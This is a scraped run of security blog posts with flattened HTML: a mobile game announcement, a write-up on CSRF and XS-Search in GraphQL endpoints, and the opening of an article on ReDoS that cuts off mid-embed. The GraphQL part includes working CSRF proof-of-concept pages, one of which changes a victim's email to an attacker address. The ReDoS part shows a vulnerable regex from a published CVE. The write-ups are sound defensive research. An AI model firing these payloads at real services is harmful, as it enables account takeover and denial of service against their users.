Hong Phi, “Adventures in Hypervisor: Oracle VirtualBox Research,” Apr 2020/a/li li[2] a href=https://conference.hitb.org/hitbsecconf2021ams/materials/D2T2%20-%20Discovering%2010+%20Vulnerabilities%20in%20Virtualbox%20-%20Chen%20Nan.pdfChenNan, “Box Escape: Discovering 10+ Vulnerabilities in VirtualBox,” HITB Security Conference, May 2021/a/li li[3] a href=http://blog.paulch.ru/2020-07-26-hunting-for-bugs-in-virtualbox-first-take.htmlPavel Cheremushkin, “Hunting for bugs in VirtualBox (First Take),” July 2020/a/li /ul

H1.Jack, The Game

15 February 2022 at 23:00
blockquote pAs crazy as it sounds, we’re releasing a casual free-to-play mobile auto-battler for Android and iOS. We’re not changing line of business - just having fun with computers!/p /blockquote pWe believe that the greatest learning lessons come from outside your comfort zone, so whether it is a security audit or a new side hustle we’re always challenging ourself to improve the craft./p pDuring the fall of 2019, we embarked on a pretty ambitious goal despite the virtually zero experience in game design. We partnered with a a href=https://cobble.games/small game studio/a that was just getting started and decided to combine forces to design and develop a casual mobile game set in the *cyber* space. After many prototypes and changes of direction, we spent a good portion of 2020 spare time to work on the core mechanics and graphics. Unfortunately, the limited time and budget further delayed beta testing and the final release. Making a game is no joke, especially when it is a combined side project for two thriving businesses./p pDespite all, we’re happy to announce the release of a href=https://www.h1jack.com/H1.Jack/a for Android and iOS as a emfree-to-play/em with no advertisement. We hope you’ll enjoy the game in between your commutes and lunch breaks!/p ul liAndroid: a href=https://play.google.com/store/apps/details?id=com.CobbleGames.Hijackhttps://play.google.com/store/apps/details?id=com.CobbleGames.Hijack/a/li liiOS (iPhone and iPad) a href=https://apps.apple.com/app/hijack-game/id1517609205https://apps.apple.com/app/hijack-game/id1517609205/a/li /ul pNo malware included./p pa href=https://www.h1jack.com/H1.Jack/a is a casual mobile auto-battler inspired by cyber security events. Start from the very bottom and spend your money and fame in gaining new techniques and exploits. emHeartbleed/em or emShellshock/em won’t be enough!/p div style=text-align: center; img src=../../../public/images/H1jackRoom.png title=H1jack Room alt=H1jack Room align=center style=display: block; margin-left: auto; margin-right: auto; / /div pWhile playing, you might end up talking to John or Luca./p div style=text-align: center; img src=../../../public/images/LucaJohnH1jack.png title=Lucaamp;John H1jack alt=Lucaamp;John H1jack align=center style=display: block; margin-left: auto; margin-right: auto; / /div pOur monsters are procedurally generated, meaning there will be tons of unique systems, apps, malware and bots to hack. Battle levels are also dynamically generated. If you want a sneak peek, check out the trailer:/p style .videoWrapper { position: relative; padding-bottom: 56.25%; /* 16:9 */ padding-top: 25px; height: 0; } .videoWrapper iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%; } /style div class=videoWrapper iframe width=560 height=349 src=https://www.youtube.com/embed/-SAYyfAvKtY frameborder=0 allowfullscreen=/iframe /div

That single GraphQL issue that you keep missing

19 May 2021 at 22:00
pWith the increasing popularity of a href=https://graphql.org/GraphQL/a on the web, we would like to discuss a particular class of vulnerabilities that is often hidden in GraphQL implementations./p h2 id=graphql-whatGraphQL what?/h2 pGraphQL is an open source query language, loved by many, that can help you in building meaningful APIs. Its major features are:/p ul liAggregating data from multiple sources/li liDecoupling the data from the database underneath, through a graph form/li liEnsuring input type correctness with minimal effort from the developers/li /ul h2 id=csrf-ehCSRF eh?/h2 pCross Site Request Forgery (a href=https://owasp.org/www-community/attacks/csrfCSRF/a) is a type of attack that occurs when a malicious web application causes a web browser to perform an unwanted action on the behalf of an authenticated user. Such an attack works because browser requests automatically include all cookies, including session cookies./p h2 id=graphql-csrf-more-buzzword-combos-pleaseGraphQL CSRF: more buzzword combos please!/h2 h4 id=post-based-csrfPOST-based CSRF/h4 pPOST requests are natural CSRF targets, since they usually change the application state. GraphQL endpoints typically accept code class=language-plaintext highlighter-rougeContent-Type/code headers set to code class=language-plaintext highlighter-rougeapplication/json/code only, which is widely believed to be invulnerable to CSRF. As multiple layers of middleware may translate the incoming requests from other formats (e.g. query parameters, code class=language-plaintext highlighter-rougeapplication/x-www-form-urlencoded/code, code class=language-plaintext highlighter-rougemultipart/form-data/code), GraphQL implementations are often affected by CSRF. Another incorrect assumption is that JSON cannot be created from urlencoded requests. When both of these assumptions are made, many developers may incorrectly forego implementing proper CSRF protections./p pThe false sense of security works in the attacker’s favor, since it creates an attack surface which is easier to exploit. For example, a valid GraphQL query can be issued with a simple strongapplication/json POST request/strong:/p div class=language-http highlighter-rougediv class=highlightpre class=highlightcodespan class=nfPOST/span span class=nn/graphql/span span class=kHTTP/spanspan class=o//spanspan class=m1.1/span span class=naHost/spanspan class=p:/span span class=sredacted/span span class=naConnection/spanspan class=p:/span span class=sclose/span span class=naContent-Length/spanspan class=p:/span span class=s100/span span class=naaccept/spanspan class=p:/span span class=s*/*/span span class=naUser-Agent/spanspan class=p:/span span class=s.../span span class=nacontent-type/spanspan class=p:/span span class=sapplication/json/span span class=naReferer/spanspan class=p:/span span class=shttps://redacted//span span class=naAccept-Encoding/spanspan class=p:/span span class=sgzip, deflate/span span class=naAccept-Language/spanspan class=p:/span span class=sen-US,en;q=0.9/span span class=naCookie/spanspan class=p:/span span class=s.../span span class=p{/spanspan class=nloperationName/spanspan class=p:/spanspan class=kcnull/spanspan class=p,/spanspan class=nlvariables/spanspan class=p:{},/spanspan class=nlquery/spanspan class=p:/spanspan class=s2{/spanspan class=se\n/spanspan class=s2 user {/spanspan class=se\n/spanspan class=s2 firstName/spanspan class=se\n/spanspan class=s2 __typename/spanspan class=se\n/spanspan class=s2 }/spanspan class=se\n/spanspan class=s2}/spanspan class=se\n/spanspan class=s2/spanspan class=p}/spanspan class=w /span/code/pre/div/div pIt is common, due to middleware magic, to have a server accepting the same request as strongform-urlencoded POST request/strong:/p div class=language-http highlighter-rougediv class=highlightpre class=highlightcodespan class=nfPOST/span span class=nn/graphql/span span class=kHTTP/spanspan class=o//spanspan class=m1.1/span span class=naHost/spanspan class=p:/span span class=sredacted/span span class=naConnection/spanspan class=p:/span span class=sclose/span span class=naContent-Length/spanspan class=p:/span span class=s72/span span class=naaccept/spanspan class=p:/span span class=s*/*/span span class=naUser-Agent/spanspan class=p:/span span class=sMozilla/5.0 (Macintosh; Intel Mac OS X 11_2_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36/span span class=naContent-Type/spanspan class=p:/span span class=sapplication/x-www-form-urlencoded/span span class=naReferer/spanspan class=p:/span span class=shttps://redacted/span span class=naAccept-Encoding/spanspan class=p:/span span class=sgzip, deflate/span span class=naAccept-Language/spanspan class=p:/span span class=sen-US,en;q=0.9/span span class=naCookie/spanspan class=p:/span span class=s.../span query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A /code/pre/div/div pWhich a seasoned a href=https://portswigger.net/burpBurp/a user can quickly convert to a CSRF PoC through code class=language-plaintext highlighter-rougeEngagement Tools gt; Generate CSRF PoC/code/p div style=text-align: center; img src=../../../public/images/generate-csrf-poc.png title=shell.showItemInFolder alt=shell.showItemInFolder align=center style=display: block; margin-left: auto; margin-right: auto; width: 400px; / /div div class=language-html highlighter-rougediv class=highlightpre class=highlightcodespan class=ntlt;htmlgt;/span span class=clt;!-- CSRF PoC - generated by Burp Suite Professional --gt;/span span class=ntlt;bodygt;/span span class=ntlt;scriptgt;/spanspan class=nxhistory/spanspan class=p./spanspan class=nxpushState/spanspan class=p(/spanspan class=dl''/spanspan class=p,/span span class=dl''/spanspan class=p,/span span class=dl'/spanspan class=s1//spanspan class=dl'/spanspan class=p)/spanspan class=ntlt;/scriptgt;/span span class=ntlt;form/span span class=naaction=/spanspan class=shttps://redacted/graphql/span span class=namethod=/spanspan class=sPOST/spanspan class=ntgt;/span span class=ntlt;input/span span class=natype=/spanspan class=shidden/span span class=naname=/spanspan class=squery/span span class=navalue=/spanspan class=samp;#123;amp;#10;amp;#32;amp;#32;useramp;#32;amp;#123;amp;#10;amp;#32;amp;#32;amp;#32;amp;#32;firstNameamp;#10;amp;#32;amp;#32;amp;#32;amp;#32;amp;#95;amp;#95;typenameamp;#10;amp;#32;amp;#32;amp;#125;amp;#10;amp;#125;amp;#10;/span span class=nt/gt;/span span class=ntlt;input/span span class=natype=/spanspan class=ssubmit/span span class=navalue=/spanspan class=sSubmit request/span span class=nt/gt;/span span class=ntlt;/formgt;/span span class=ntlt;/bodygt;/span span class=ntlt;/htmlgt;/span /code/pre/div/div pWhile the example above only presents a harmless query, that’s not always the case. Since GraphQL resolvers are usually decoupled from the underlying application layer they are passed, any other query can be issued, including strongmutations/strong./p h4 id=get-based-csrfGET Based CSRF/h4 pThere are two common issues that we have spotted during our past engagements./p pThe first one is using code class=language-plaintext highlighter-rougeGET/code requests for both emqueries/em and emmutations/em./p pFor example, in one of our recent engagements, the application was exposing a a href=https://github.com/graphql/graphiqlGraphiQL console/a. GraphiQL is only intended for use in development environments. When misconfigured, it can be abused to perform CSRF attacks on victims, causing their browsers to issue arbitrary code class=language-plaintext highlighter-rougequery/code or code class=language-plaintext highlighter-rougemutation/code requests. In fact, GraphiQL does allow mutations via GET requests./p div style=text-align: center; img src=../../../public/images/ts-graphql-csrf-graphiql.png title=shell.showItemInFolder alt=shell.showItemInFolder align=center style=display: block; margin-left: auto; margin-right: auto; width: 800px; / /div pWhile CSRF in standard web applications usually affects only a handful of endpoints, the same issue in GraphQL is generally system-wise./p pFor the sake of an example, we include the Proof-of-Concept for a mutation that handles a file upload functionality:/p div class=language-html highlighter-rougediv class=highlightpre class=highlightcodespan class=cplt;!DOCTYPE htmlgt;/span span class=ntlt;htmlgt;/span span class=ntlt;headgt;/span span class=ntlt;titlegt;/spanGraphQL CSRF file uploadspan class=ntlt;/titlegt;/span span class=ntlt;/headgt;/span span class=ntlt;bodygt;/span span class=ntlt;iframe/span span class=nasrc=/spanspan class=shttps://graphql.victimhost.com/?query=mutation%20AddFile(%24name%3A%20String!%2C%20%24data%3A%20String!%2C%20%24contentType%3A%20String!) %20%7B%0A%20%20AddFile(file_name%3A%20%24name%2C%20data%3A%20%24data%2C%20content_type%3A%20%24contentType) %20%7B%0A%20%20%20%20id%0A%20%20%20%20__typename%0A%20%20%7D%0A%7D%0Aamp;variables=%7B%0A %20%20%22data%22%3A%20%22%22%2C%0A%20%20%22name%22%3A%20%22dummy.pdf%22%2C%0A%20%20%22contentType%22%3A%20%22application%2Fpdf%22%0A%7D/spanspan class=ntgt;lt;/iframegt;/span span class=ntlt;/bodygt;/span span class=ntlt;/htmlgt;/span /code/pre/div/div pThe second issue arises when a state-changing GraphQL operation is misplaced in the queries, which are normally non-state changing. In fact, most of the GraphQL server implementations respect this paradigm, and they even block any kind of mutation through the code class=language-plaintext highlighter-rougeGET/code HTTP method. Discovering this type of issues is trivial, and can be performed by enumerating query names and trying to understand what they do. For this reason, we developed a a href=https://github.com/doyensec/inqltool for query/mutation enumeration/a./p pDuring an engagement, we discovered the following query that was issuing a state changing operation:/p div class=language-go highlighter-rougediv class=highlightpre class=highlightcodespan class=nreq/span span class=o:=/span span class=ngraphql/spanspan class=o./spanspan class=nNewRequest/spanspan class=p(/spanspan class=s` query SetUserEmail($email: String!) { SetUserEmail(user_email: $email) { id email } } `/spanspan class=p)/span /code/pre/div/div pGiven that the code class=language-plaintext highlighter-rougeid/code value was easily guessable, we were able to prepare a CSRF PoC:/p div class=language-html highlighter-rougediv class=highlightpre class=highlightcodespan class=cplt;!DOCTYPE htmlgt;/span span class=ntlt;htmlgt;/span span class=ntlt;headgt;/span span class=ntlt;titlegt;/spanGraphQL CSRF - State Changing Queryspan class=ntlt;/titlegt;/span span class=ntlt;/headgt;/span span class=ntlt;bodygt;/span span class=ntlt;iframe/span span class=nawidth=/spanspan class=s1000/span span class=naheight=/spanspan class=s1000/span span class=nasrc=/spanspan class=shttps://victimhost.com/?query=query%20SetUserEmail%28%24email%3A%20String%21%29%20%7B%0A%20%20SetUserEmail%28user_email%3A%20%24email%29%20%7B%0A%20%20%20%20id%0A%20%20%20%20email%0A%20%20%7D%0A%7D%0A%26variables%3D%7B%0A%20%20%22id%22%3A%20%22441%22%2C%0A%20%20%22email%22%3A%20%22attacker%40email.xyz%22%2C%0A%7D/spanspan class=ntgt;lt;/iframegt;/span span class=ntlt;/bodygt;/span span class=ntlt;/htmlgt;/span /code/pre/div/div pDespite the most frequently used GraphQL servers/libraries having some sort of protection against CSRF, we have found that in some cases developers bypass the CSRF protection mechanisms. For example, if a href=https://github.com/graphql-python/graphene-djangographene-django/a is in use, there is an easy way to deactivate the CSRF protection on a particular GraphQL endpoint:/p div class=language-python highlighter-rougediv class=highlightpre class=highlightcodespan class=nurlpatterns/span span class=o=/span span class=npatterns/spanspan class=p(/span span class=c1# ... /span span class=nurl/spanspan class=p(/spanspan class=sar/spanspan class=s'^graphql'/spanspan class=p,/span span class=ncsrf_exempt/spanspan class=p(/spanspan class=nGraphQLView/spanspan class=p./spanspan class=nas_view/spanspan class=p(/spanspan class=ngraphiql/spanspan class=o=/spanspan class=bpTrue/spanspan class=p))),/span span class=c1# ... /spanspan class=p)/span /code/pre/div/div h3 id=csrf-better-safe-than-sorryCSRF: Better Safe Than Sorry/h3 pSome browsers, such as Chrome, recently defaulted cookie behavior to be equivalent to code class=language-plaintext highlighter-rougeSameSite=Lax/code, which protects from the most common CSRF vectors./p pOther prevention methods can be implemented within each application. The most common are:/p ul liBuilt-in CSRF protection in modern frameworks/li liOrigin verification/li liDouble submit cookies/li liUser interaction based protection/li liNot using code class=language-plaintext highlighter-rougeGET/code request for state changing operations/li liEnhanced CSRF protection to code class=language-plaintext highlighter-rougeGET/code request too/li /ul pThere isn’t necessarily a single best option for every application. Determining the best protection requires evaluating the specific environment on a case-by-case basis./p h3 id=rumbling-the-xs-searchRumbling The XS-Search/h3 pIn emXS-Search/em attacks, an attacker leverages a CSRF vulnerability to force a victim to request data the attacker can’t access themselves. The attacker then compares response times to infer whether the request was successful or not./p pFor example, if there is a CSRF vulnerability in the file search function and the attacker can make the admin visit that page, they could make the victim search for filenames starting with specific values, to confirm for their existence/accessibility./p pApplications which accept code class=language-plaintext highlighter-rougeGET/code requests for complex urlencoded queries and demonstrate a general misunderstanding of CSRF protection on their GraphQL endpoints represent the perfect target for XS-Search attacks./p pXS-Search is quite a neat and simple technique which can transform the following query in an attacker controlled binary search (eg. we can enumerate the users of a private platform):/p div class=language-javascript highlighter-rougediv class=highlightpre class=highlightcodespan class=nxquery/span span class=p{/span span class=nxisEmailAvailable/spanspan class=p(/spanspan class=nxemail/spanspan class=p:/spanspan class=dl/spanspan [email protected]/spanspan class=dl/spanspan class=p)/span span class=p{/span span class=nxis_email_available/span span class=p}/span span class=p}/span /code/pre/div/div pIn HTTP code class=language-plaintext highlighter-rougeGET/code form:/p div class=language-http highlighter-rougediv class=highlightpre class=highlightcodespan class=nfGET/span span class=nn/graphql?query=query+%7B%0A%09isEmailAvailable%28email%3A%22foo%40bar.com%22%29+%7B%0A%09%09is_email_available%0A%09%7D%0A%7D/span span class=kHTTP/spanspan class=o//spanspan class=m1.1/span span class=naAccept-Encoding/spanspan class=p:/span span class=sgzip, deflate/span span class=naConnection/spanspan class=p:/span span class=sclose/span span class=naUser-Agent/spanspan class=p:/span span class=sMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0/span span class=naHost/spanspan class=p:/span span class=sredacted/span span class=naContent-Length/spanspan class=p:/span span class=s0/span span class=naContent-Type/spanspan class=p:/span span class=sapplication/json/span span class=naCookie/spanspan class=p:/span span class=s.../span /code/pre/div/div pThe implications of a successful code class=language-plaintext highlighter-rougeXS-Search/code attack on a GraphQL endpoint cannot be overstated. However, as previously mentioned, CSRF-based issues can be successfully mitigated with some effort./p h3 id=automate-everythingAutomate Everything!!!/h3 pAs much as we love finding bugs the hard way, we believe that automation is the only way to democratize security and provide the best service to the community./p pFor this reason and in conjunction with this research, we are releasing a new major version of our GraphQL strongInQL/strong Burp extension./p pa href=https://github.com/doyensec/inql/releases/tag/v4.0.1InQL v4/a can assist in detecting these issues:/p ul li pBy identifying various classes of CSRF through new “Send to Repeater” helpers:/p ul licode class=language-plaintext highlighter-rougeGET/code query parameters/li licode class=language-plaintext highlighter-rougePOST/code form-data/li licode class=language-plaintext highlighter-rougePOST/code x-form-urlencoded/li /ul /li li pBy improving the query generation/p /li /ul div style=text-align: center; img src=../../../public/images/inql_v3_demo.gif title=shell.showItemInFolder alt=shell.showItemInFolder align=center style=display: block; margin-left: auto; margin-right: auto; width: 800px; / /div h2 id=something-for-our-beloved-number-crunchersSomething for our beloved number crunchers!/h2 pWe tested for the aforementioned vulnerabilities in some of the top companies that make use of GraphQL. While the research on these ~30 endpoints lasted only two days and no conclusiveness nor completeness should be inferred, numbers show an impressive amount of unpatched vulnerabilities:/p ul li14 (~50%) were vulnerable to some kind of XS-Search, equivalent to a GET-based CSRF/li li3 (~10%) were vulnerable to CSRF/li /ul blockquote pTL;DR: Cross Site Request Forgery is here to stay for a few more years, even if you use GraphQL!/p /blockquote h2 id=referencesReferences/h2 ul lia href=https://blog.doyensec.com/2018/05/17/graphql-security-overview.htmlGraphQL Security Overview/a/li lia href=https://blog.doyensec.com/2020/11/19/inql-scanner-v3.htmlDoyensec InQL Scanner/a/li lia href=https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.htmlOWASP CSRF Prevention Cheat Sheet/a/li lia href=https://graphql.org/learn/serving-over-http/#get-requestGraphQL GET request queries/a/li lia href=https://book.hacktricks.xyz/pentesting-web/xs-searchXSSearch/a/li lia href=https://github.com/xsleaks/xsleaks/wiki/Browser-Side-ChannelsXSSearch navigation event for GET requests/a/li /ul

Regexploit: DoS-able Regular Expressions

10 March 2021 at 23:00
style.ansi{ line-height: 1.1; font-family: monospace; margin-left: 1rem; } .myansi { margin-left: 1rem; } .myansi p { margin-bottom: 0.2rem; } code.regex span { color: #fff; padding: 2px 4px; }/style pWhen thinking of Denial of Service (DoS), we often focus on Distributed Denial of Service (DDoS) where millions of zombie machines overload a service by launching a tsunami of data. However, by abusing the algorithms a web application uses, an attacker can bring a server to its knees with as little as a single request. Doing that requires finding algorithms which have terrible performance under certain conditions, and then triggering those conditions. One widespread and frequently vulnerable area is in the misuse of regular expressions (regexes)./p pRegular expressions are used for all manner of text-processing tasks. They may seem to run fine, but if a regex is vulnerable to Regular Expression Denial of Service (ReDoS), it may be possible to craft input which causes the CPU to run at 100% for years./p pstrongIn this blog post, we’re releasing a new tool to analyse regular expressions and hunt for ReDoS vulnerabilities. Our heuristic has been proven to be extremely effective, as demonstrated by many vulnerabilities discovered across popular NPM, Python and Ruby dependencies./strong/p div style=text-align: center; img src=../../../public/images/regexploit_logo.png title=regexploit_logo align=center style=display: block; margin-left: auto; margin-right: auto; max-width: 60%; / /div h3 id=check-your-regexes-with-regexploitCheck your regexes with Regexploit/h3 p🚀 a href=https://github.com/doyensec/[email protected]/regexploit/a - code class=language-plaintext highlighter-rougepip install regexploit/code and find some bugs./p h3 id=backtrackingBacktracking/h3 pTo get into the topic, let’s review how the regex matching engines in languages like Python, Perl, Ruby, C# and JavaScript work. Let’s imagine that we’re using this deliberately silly regex to extract version numbers:/p pcode class=regex data-regex=(.+)\.(.+)\.(.+) span style=background-color:#A0A;(.+)/spanspan style=background-color:#A50\./spanspan style=background-color:#A00(.+)/spanspan style=background-color:#0A0\./spanspan style=background-color:#A0A(.+)/span /code/p pThat will correctly process something like code class=language-plaintext highlighter-rouge123.456.789/code, but it’s a pretty inefficient regex. How does the matching process work?/p div class=myansi pThe first code class=language-plaintext highlighter-rouge.+/code capture group greedily matches all the way to the end of the string as dot matches every character./p div class=ansi span style=color:#ffffffspan style=background-color:#ff00ff/span/spanspan style=background-color:#0AA123.456.789/spanbr / span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A1/span/span/spanspan style=background-color:#0AA23.456.789/spanbr / span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A12/span/span/spanspan style=background-color:#0AA3.456.789/spanbr / span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123/span/span/spanspan style=background-color:#0AA.456.789/spanbr / span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123./span/span/spanspan style=background-color:#0AA456.789/spanbr / span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123.4/span/span/spanspan style=background-color:#0AA56.789/spanbr / span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123.45/span/span/spanspan style=background-color:#0AA6.789/spanbr / span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123.456/span/span/spanspan style=background-color:#0AA.789/spanbr / span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123.456./span/span/spanspan style=background-color:#0AA789/spanbr / span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123.456.7/span/span/spanspan style=background-color:#0AA89/spanbr / span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123.456.78/span/span/spanspan style=background-color:#0AA9/spanbr / span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123.456.789/span/span/spanspan style=background-color:#0AA/spanbr / /div pcode class=language-plaintext highlighter-rouge$1=123.456.789/code. The matcher then looks for a literal dot character. Unable to find it, it tries removing one character at a time from the first code class=language-plaintext highlighter-rouge.+/code/p div class=ansi span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123.456.78/span/span/spanspan style=background-color:#0AA9/spanbr / span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123.456.7/span/span/spanspan style=background-color:#0AA89/spanbr / span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123.456./span/span/spanspan style=background-color:#0AA789/spanbr / span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123.456/span/span/spanspan style=background-color:#0AA.789/spanbr / span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123.456span style=background-color:#A50./span/span/span/spanspan style=background-color:#0AA789/spanbr / /div puntil it successfully matches a dot - code class=language-plaintext highlighter-rouge$1=123.456/code/p div class=ansi span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123.456span style=background-color:#A50.span style=background-color:#A007/span/span/span/span/spanspan style=background-color:#0AA89/spanbr / span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123.456span style=background-color:#A50.span style=background-color:#A0078/span/span/span/span/spanspan style=background-color:#0AA9/spanbr / span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123.456span style=background-color:#A50.span style=background-color:#A00789/span/span/span/span/spanspan style=background-color:#0AA/spanbr / /div pThe second capture group matches the final three digits code class=language-plaintext highlighter-rouge$2=789/code, but we need another dot so it has to backtrack./p div class=ansi span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123.456span style=background-color:#A50.span style=background-color:#A0078/span/span/span/span/spanspan style=background-color:#0AA9/spanbr / span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123.456span style=background-color:#A50.span style=background-color:#A007/span/span/span/span/spanspan style=background-color:#0AA89/spanbr / span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123.456span style=background-color:#A50./span/span/span/spanspan style=background-color:#0AA789/spanbr / /div pHmmm… it seems that maybe the match for capture group 1 is incorrect, let’s try backtracking./p div class=ansi span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123.45/span/span/spanspan style=background-color:#0AA6.789/spanbr / span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123.4/span/span/spanspan style=background-color:#0AA56.789/spanbr / span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123./span/span/spanspan style=background-color:#0AA456.789/spanbr / span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123/span/span/spanspan style=background-color:#0AA.456.789/spanbr / span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123span style=background-color:#A50./span/span/span/spanspan style=background-color:#0AA456.789/spanbr / /div pOK let’s try with code class=language-plaintext highlighter-rouge$1=123/code, and let’s match group 2 greedily all the way to the end./p div class=ansi span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123span style=background-color:#A50.span style=background-color:#A004/span/span/span/span/spanspan style=background-color:#0AA56.789/spanbr / span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123span style=background-color:#A50.span style=background-color:#A0045/span/span/span/span/spanspan style=background-color:#0AA6.789/spanbr / span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123span style=background-color:#A50.span style=background-color:#A00456/span/span/span/span/spanspan style=background-color:#0AA.789/spanbr / span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123span style=background-color:#A50.span style=background-color:#A00456./span/span/span/span/spanspan style=background-color:#0AA789/spanbr / span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123span style=background-color:#A50.span style=background-color:#A00456.7/span/span/span/span/spanspan style=background-color:#0AA89/spanbr / span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123span style=background-color:#A50.span style=background-color:#A00456.78/span/span/span/span/spanspan style=background-color:#0AA9/spanbr / span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123span style=background-color:#A50.span style=background-color:#A00456.789/span/span/span/span/spanspan style=background-color:#0AA/spanbr / /div pcode class=language-plaintext highlighter-rouge$2=456.789/code but now there’s no dot! That can’t be the correct group 2…/p div class=ansi span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123span style=background-color:#A50.span style=background-color:#A00456.78/span/span/span/span/spanspan style=background-color:#0AA9/spanbr / span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123span style=background-color:#A50.span style=background-color:#A00456.7/span/span/span/span/spanspan style=background-color:#0AA89/spanbr / span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123span style=background-color:#A50.span style=background-color:#A00456./span/span/span/span/spanspan style=background-color:#0AA789/spanbr / span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123span style=background-color:#A50.span style=background-color:#A00456/span/span/span/span/spanspan style=background-color:#0AA.789/spanbr / span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123span style=background-color:#A50.span style=background-color:#A00456span style=background-color:#0A0./span/span/span/span/span/spanspan style=background-color:#0AA789/spanbr / span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123span style=background-color:#A50.span style=background-color:#A00456span style=background-color:#0A0.span style=background-color:#A0A7/span/span/span/span/span/span/spanspan style=background-color:#0AA89/spanbr / span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123span style=background-color:#A50.span style=background-color:#A00456span style=background-color:#0A0.span style=background-color:#A0A78/span/span/span/span/span/span/spanspan style=background-color:#0AA9/spanbr / span style=color:#ffffffspan style=background-color:#ff00ffspan style=background-color:#A0A123span style=background-color:#A50.span style=background-color:#A00456span style=background-color:#0A0.span style=background-color:#A0A789/span/span/span/span/span/span/spanspan style=background-color:#0AA/span /div pFinally we have a successful match: code class=language-plaintext highlighter-rouge$1=123, $2=456, $3=789/codebr /br //p /div pAs you can hopefully see, there can be a lot of back-and-forth in the regex matching process. This backtracking is due to the ambiguous nature of the regex, where input can be matched in different ways. If a regex isn’t well-designed, malicious input can cause a much more resource-intensive backtracking loop than this./p pIf backtracking takes an extreme amount of time, it will cause a Denial of Service, such as what happened to a href=https://blog.cloudflare.com/details-of-the-cloudflare-outage-on-july-2-2019/Cloudflare in 2019/a. In runtimes like NodeJS, the a href=https://nodejs.org/en/docs/guides/dont-block-the-event-loop/#blocking-the-event-loop-redosEvent Loop will be blocked/a which stalls all timers, code class=language-plaintext highlighter-rougeawait/codes, requests and responses until regex processing completes./p h3 id=redos-exampleReDoS example/h3 pNow we can look at a ReDoS example. The ua-parser package contains a a href=https://github.com/ua-parser/uap-core/blob/master/regexes.yamlgiant list of regexes/a for a href=https://blog.caller.xyz/user-agent-parsing-redos-cve-2020-5243/deciphering browser User-Agent headers/a. One of the regular expressions reported in a href=https://github.com/ua-parser/uap-core/security/advisories/GHSA-cmcx-xhr8-3w9pCVE-2020-5243/a was:/p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcode; *([^;/]+) Build[/ ]Huawei(MT1-U06|[A-Z]+\d+[^\);]+)[^\);]*\) /code/pre/div/div pIf we look closer at the end part we can see three overlapping repeating groups:/p pcode class=regex data-regex=\d+[^\);]+[^\);]*\) span style=background-color:#A0A;\d+/spanspan style=background-color:#A50[^\);]+/spanspan style=background-color:#A00[^\);]*/spanspan style=background-color:#000\)/span /code/p pDigit characters are matched by code class=language-plaintext highlighter-rouge\d/code and by code class=language-plaintext highlighter-rouge[ˆ\);]/code. If a string of emN/em digits enters that section, there are code class=language-plaintext highlighter-rouge½(N-1)N/code possible ways to split it up between the code class=language-plaintext highlighter-rouge\d+/code, code class=language-plaintext highlighter-rouge[ˆ\);]+/code and code class=language-plaintext highlighter-rouge[ˆ\);]*/code groups. The key to causing ReDoS is to supply input which emdoesn’t/em successfully match, such as by not ending our malicious input with a closing parenthesis. The regex engine will backtrack and try all possible ways of matching the digits in the hope of then finding a code class=language-plaintext highlighter-rouge)/code./p iframe style=overflow: hidden; margin: 0px; border: 0px; display: inline-block; width: 270px; float: none; visibility: visible; height: 535px; srcdoc=lt;body style=quot;margin:-20px 0;overflow:hidden;quot;gt;lt;script id=quot;asciicast-MYiODjDca96hDUwGfaQSgJuuxquot; 